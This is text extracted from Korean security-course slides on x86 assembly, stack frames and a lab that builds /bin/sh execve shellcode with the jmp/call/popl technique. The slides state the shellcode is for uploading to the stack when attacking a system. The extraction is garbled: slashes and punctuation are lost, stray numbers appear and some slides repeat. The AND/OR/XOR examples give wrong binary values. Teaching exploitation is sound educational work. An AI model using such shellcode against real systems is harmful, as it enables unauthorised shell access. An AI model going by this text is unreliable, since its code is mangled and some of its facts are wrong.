어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

